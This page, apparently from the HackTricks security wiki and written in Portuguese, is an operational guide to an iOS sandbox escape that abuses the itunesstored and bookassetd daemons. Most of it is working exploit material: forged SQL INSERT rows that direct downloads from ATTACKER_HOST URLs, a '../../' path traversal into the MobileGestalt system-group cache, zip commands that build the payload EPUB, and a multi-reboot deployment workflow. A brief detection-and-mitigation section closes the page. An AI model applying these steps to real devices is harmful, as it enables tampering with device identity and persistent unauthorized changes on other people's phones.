itunesstored & bookassetd Sandbox Escape
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Visão geral
Pesquisas recentes mostram que dois daemons iOS pré-instalados, itunesstored (download manager) e bookassetd (Books / iBooks asset manager), confiam cegamente em metadados SQLite graváveis pelo usuário. Ao deixar arquivos downloads.28.sqlitedb e BLDatabaseManager.sqlite forjados, além de um arquivo EPUB mínimo, um atacante que consiga gravar em /var/mobile/Media/ pode forçar esses daemons a realizarem escritas arbitrárias de arquivos através da maioria dos caminhos pertencentes a mobile dentro de /private/var/. Os primitivos sobrevivem a reboots e permitem manipular caches de system group como systemgroup.com.apple.mobilegestaltcache para falsificar propriedades do dispositivo ou persistir configurações.
Propriedades principais:
- Funciona em dispositivos até pelo menos iOS 26.2b1 (testado em iPhone 12 / iOS 26.0.1).
- Alvos graváveis incluem caches
SystemGroup,/private/var/mobile/Library/FairPlay,/private/var/mobile/Media, e outros arquivos de propriedademobile. Escritas em arquivos de propriedaderootfalham. - Requer apenas acesso em nível AFC (cópia de arquivos via USB) ou qualquer foothold que permita substituir os DBs SQLite alvo e enviar payloads.
Modelo de Ameaça e Requisitos
- Acesso local ao sistema de arquivos a
/var/mobile/Media/Downloads/e/var/mobile/Media/Books/(via clientes AFC como 3uTools, i4.cn, ouafcclientpor USB, ou qualquer comprometimento prévio). - Servidor HTTP hospedando arquivos do atacante (
BLDatabaseManager.sqlite,iTunesMetadata.plist, EPUB forjado) expostos por URLs comohttps://ATTACKER_HOST/fileprovider.php?type=.... - Capacidade de reiniciar o dispositivo várias vezes para forçar cada daemon a recarregar seu banco de dados.
- Conhecimento do Books system-group UUID para que a escrita da Stage 1 caia no container correto (encontrado via syslog).
Stage 1 – Abusando downloads.28.sqlitedb via itunesstored
itunesstored processa /var/mobile/Media/Downloads/downloads.28.sqlitedb. A tabela asset armazena metadados de URL + destino e é tratada como entrada confiável. Forjar uma linha que aponte para uma URL do atacante e defina local_path para .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite dentro do Books SystemGroup faz com que o itunesstored baixe e sobrescreva o banco de dados do Books com conteúdo do atacante na inicialização.
Localizar o UUID do Books SystemGroup
- Colete um arquivo de syslog com
pymobiledevice3:
pymobiledevice3 syslog collect logs.logarchive
- Abra
logs.logarchiveno Console.app e procure porbookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite. - Registre
<UUID>e substitua-o no payload SQL.
Linha asset maliciosa
Template de INSERT da Stage 1
```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup/Campos que importam:
url: endpoint controlado pelo atacante que retorna oBLDatabaseManager.sqlitemalicioso.local_path: arquivoBLDatabaseManager.sqlitedo grupo de sistema Books determinado acima.- Control flags: mantenha os defaults (
asset_type='media',path_extension='epub', booleanos setados para 0/1 como no template) para que o daemon aceite a tarefa.
Implantação
- Remova entradas antigas em
/var/mobile/Media/Downloads/*para evitar condições de corrida. - Substitua
downloads.28.sqlitedbpelo DB forjado via AFC. - Reinicie →
itunesstoredbaixa o banco de dados Stage 2 e coloca/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist. - Copie esse plist para
/var/mobile/Media/Books/iTunesMetadata.plist; Stage 2 espera encontrá-lo nessa localização.
Stage 2 – Abusando de BLDatabaseManager.sqlite via bookassetd
bookassetd possui entitlements de filesystem mais amplos e confia na tabela ZBLDOWNLOADINFO. Ao inserir uma linha de compra falsa que referencia URLs controladas pelo atacante e um traversal em ZPLISTPATH, o daemon baixa seu EPUB para /var/mobile/Media/Books/asset.epub e depois extrai metadados para qualquer caminho pertencente a mobile acessível através de sequências de escape ../../...
Linha ZBLDOWNLOADINFO maliciosa
Template de INSERT do Stage 2
```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```Campos importantes:
ZASSETPATH: localização do EPUB no disco controlada pelo atacante.ZURL/ZPERMLINK: URLs do atacante hospedando o EPUB e o plist auxiliar.ZPLISTPATH:../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library– a path traversal base anexada aos arquivos extraídos do EPUB. Ajuste a profundidade de traversal para alcançar o SystemGroup desejado.- Metadados de compra (
ZSTOREIDENTIFIER, nomes, timestamps) imitam entradas legítimas para que o daemon não descarte a linha.
Depois de copiar o DB malicioso para /private/var/containers/Shared/SystemGroup/bookassetd irá (1) baixar o EPUB, (2) processá-lo e gravar o plist derivado no caminho atravessado.
Criando o payload do EPUB
bookassetd respeita o formato EPUB ZIP: mimetype deve ser a primeira entrada descomprimida. Para mapear o conteúdo do EPUB para o cache MobileGestalt, construa uma árvore de diretórios que espelhe o caminho desejado relativo a ZPLISTPATH.
Caches/
├── mimetype
└── com.apple.MobileGestalt.plist
Crie o arquivo:
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
mimetypenormalmente contém o literalapplication/epub+zip.Caches/com.apple.MobileGestalt.plistcontém a payload controlada pelo atacante que irá aterrissar em.../Library/Caches/com.apple.MobileGestalt.plist.
Orchestration Workflow
- Prepare files no servidor HTTP do atacante e crie ambos os SQLite DBs com valores específicos de host/UUID.
- Replace
downloads.28.sqlitedbno dispositivo e reboot → Stage 1 faz o download do maliciosoBLDatabaseManager.sqlitee emite/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist. - Copy
iTunesMetadata.plistpara/var/mobile/Media/Books/iTunesMetadata.plist(repita se o daemon o deletar). - Reboot again →
bookassetdfaz o download deasset.epubpara/var/mobile/Media/Books/usando os metadados da Stage 2. - Reboot a third time →
bookassetdprocessa o asset baixado, segueZPLISTPATHe grava o conteúdo do EPUB no caminho SystemGroup alvo (por ex.,com.apple.MobileGestalt.plist). - Verify lendo o plist sobrescrito ou observando que propriedades derivadas de MobileGestalt (model identifier, activation flags, etc.) mudem conforme esperado.
O mesmo padrão permite colocar arquivos em outros caches pertencentes a mobile, como estados do FairPlay ou diretórios de persistência, possibilitando adulteração furtiva sem necessidade de um exploit de kernel.
Tooling & Operational Notes
pymobiledevice3 syslog collect logs.logarchive– extrair logs para descobrir o Books SystemGroup UUID.- Console.app – filtrar por
bookassetd [Database]: Store is at ...para recuperar o caminho exato do container. - AFC clients (
afcclient, 3uTools, i4.cn) – push/pull de SQLite DBs e arquivos plist via USB sem jailbreak. zip– impor restrições de ordenação do EPUB ao empacotar payloads.- Public PoC – https://github.com/hanakim3945/bl_sbx fornece templates base de SQLite/EPUB que você pode customizar.
Detection & Mitigation Ideas
- Tratar
downloads.28.sqlitedbeBLDatabaseManager.sqlitecomo input não confiável: validar quelocal_path/ZPLISTPATHpermaneçam dentro dos sandboxes aprovados e rejeitar caminhos totalmente qualificados ou traversal tokens. - Monitorar escritas via AFC que substituam esses bancos de dados ou downloads inesperados iniciados por
itunesstored/bookassetdlogo após o boot. - Endurecer o unpacking do
bookassetdpara chamarrealpath()no destino de saída e garantir que não possa escapar do container Books antes de gravar arquivos. - Restringir canais de cópia de arquivos via AFC / USB ou exigir interação do usuário antes de permitir a substituição de arquivos de metadata do Books/iTunes.
References
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks

